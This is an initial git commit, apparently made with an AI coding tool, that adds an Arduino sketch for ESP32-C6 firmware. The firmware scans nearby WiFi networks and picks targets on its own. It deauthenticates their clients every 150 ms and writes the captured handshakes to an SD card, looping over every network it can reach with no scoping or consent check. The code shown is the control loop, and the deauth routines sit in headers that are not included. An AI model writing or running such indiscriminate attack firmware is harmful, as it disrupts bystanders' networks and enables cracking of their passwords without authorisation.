Initial commit: handshake capture firmware for ESP32-C6 1.47" LCD

Made-with: Cursor
2026-03-17 20:07:32 -07:00
commit 026f15a4a7
3002 changed files with 821045 additions and 0 deletions
--- a/handshake-capture-c6/handshake-capture-c6.ino
+++ b/handshake-capture-c6/handshake-capture-c6.ino
@@ -0,0 +1,90 @@
+/*
+ * WiFi Handshake Capture - ESP32-C6 1.47" LCD
+ * Automatically scans, deauths, and captures handshakes to SD card.
+ * Display: green = not captured, red = captured.
+ */
+
+#include "Display_ST7789.h"
+#include "LVGL_Driver.h"
+#include "WiFi_Scanner.h"
+#include "SD_Card.h"
+#include "HandshakeCapture.h"
+
+enum CaptureState {
+  STATE_SCANNING,
+  STATE_CAPTURING,
+  STATE_WAITING
+};
+
+CaptureState captureState = STATE_SCANNING;
+unsigned long capture_start_time = 0;
+const unsigned long CAPTURE_TIMEOUT_MS = 25000;
+const unsigned long DEAUTH_INTERVAL_MS = 150;
+
+void setup() {
+  Serial.begin(115200);
+  LCD_Init();
+  Set_Backlight(100);
+  Lvgl_Init();
+
+  if (!SD_Init()) {
+    Ui_SetWifiStatus("SD: no card");
+  } else {
+    Ui_SetWifiStatus("SD OK");
+  }
+
+  handshakeCaptureInit();
+  WiFiScanner_Refresh();
+  captureState = STATE_SCANNING;
+}
+
+void loop() {
+  Timer_Loop();
+  handshakeCaptureLoop();
+
+  switch (captureState) {
+    case STATE_SCANNING: {
+      int idx = -1;
+      for (int i = 0; i < 20; i++) {
+        if (networks[i].ssid.isEmpty()) break;
+        if (!networks[i].handshake_captured && isCaptureable(i)) {
+          idx = i;
+          break;
+        }
+      }
+      if (idx >= 0) {
+        setTarget(idx);
+        captureState = STATE_CAPTURING;
+        capture_start_time = millis();
+        startCapture(true);
+        Ui_SetWifiStatus("Capturing...");
+      } else {
+        Ui_SetWifiStatus("Rescan");
+        WiFiScanner_Refresh();
+        delay(500);
+      }
+      break;
+    }
+
+    case STATE_CAPTURING: {
+      int idx = getCurrentTargetIndex();
+      if (isHandshakeCaptured(idx)) {
+        Ui_SetWifiStatus("Got handshake");
+        stopCapture();
+        captureState = STATE_SCANNING;
+        delay(2000);
+      } else if (idx >= 0 && millis() - capture_start_time > CAPTURE_TIMEOUT_MS) {
+        Ui_SetWifiStatus("Timeout");
+        stopCapture();
+        captureState = STATE_SCANNING;
+        delay(2000);
+      }
+      break;
+    }
+
+    case STATE_WAITING:
+      break;
+  }
+
+  delay(16);
+}